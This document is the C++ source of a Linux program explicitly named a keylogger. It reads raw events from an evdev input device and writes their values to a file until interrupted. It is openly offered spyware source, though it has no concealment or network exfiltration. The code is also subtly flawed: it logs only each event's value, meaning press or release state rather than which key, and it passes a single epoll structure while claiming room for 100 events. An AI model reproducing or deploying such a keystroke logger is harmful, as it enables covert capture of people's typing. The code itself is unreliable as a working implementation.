keylogger.cpp

#include <iostream>
#include <stdlib.h>
#include <fcntl.h>
#include <linux/input.h>
#include <string.h>
#include <errno.h>
#include <sys/epoll.h>
#include <signal.h>

#define MAX_EVENTS 100

using namespace std;

void CTRL_C_Handler(int);

class KeyLogger 
{
private:
  int fd, efd, cfg, ret;
  FILE *pFile;
  struct input_event ev;
  struct epoll_event ee, *events;

public:
  KeyLogger(int argc, char **argv)
  {
    if (argc != 3)
      {
	cerr <<  "usage: " << argv[0] << " event-device output-file - probably /dev/input/evdev0" << endl;
	exit(1);	
      }

    if ((fd = open(argv[1], O_RDONLY | O_NOCTTY )) < 0)
      {
	cerr <<  "evdev open: " << strerror(errno) << endl;
	exit(1);
      }

    if (!(pFile = fopen(argv[2], "w")))
      {
	cerr <<  "od open: " << strerror(errno) << endl;
	exit(1);
      }

    if ((efd = epoll_create(sizeof(fd))) < 0)
      {
	cerr << "epoll_create: " << strerror(errno) << endl;
	exit(1);
      }

    ee.events = EPOLLIN;
    if ((cfg = epoll_ctl(efd, EPOLL_CTL_ADD, fd, &ee)) < 0)
      {
	cerr << "epoll_ctl: " << strerror(errno) << endl;
	exit(1);
      }
  }

  void log()
  {
    signal(SIGINT, CTRL_C_Handler);
    while(1)
      {
	ret = epoll_wait(efd, &ee, MAX_EVENTS, -1);
	if (ret < 0)
	  cerr << "epoll_wait: "  << strerror(errno) << endl;

	if (read(fd, &ev, sizeof(ev)) < 0)
	  {
	    cerr <<  "read: " << strerror(errno) << endl;
	    exit(1);
	  }

	if (fprintf(pFile, "%d\n", ev.value) < 0)
	  {
	    cerr <<  "pFile write: " << strerror(errno) << endl;
	    exit(1);
	  }
	fflush(pFile);
      }

    close(efd);
    close(fd);
    fclose(pFile);
    
    exit(0);
  }
};


KeyLogger *keylogger;

int main(int argc, char **argv)
{
  keylogger = new KeyLogger(argc, argv);
  keylogger->log();
  exit(-1);
}

void CTRL_C_Handler(int sig)
{
  delete keylogger;
  exit(0);
}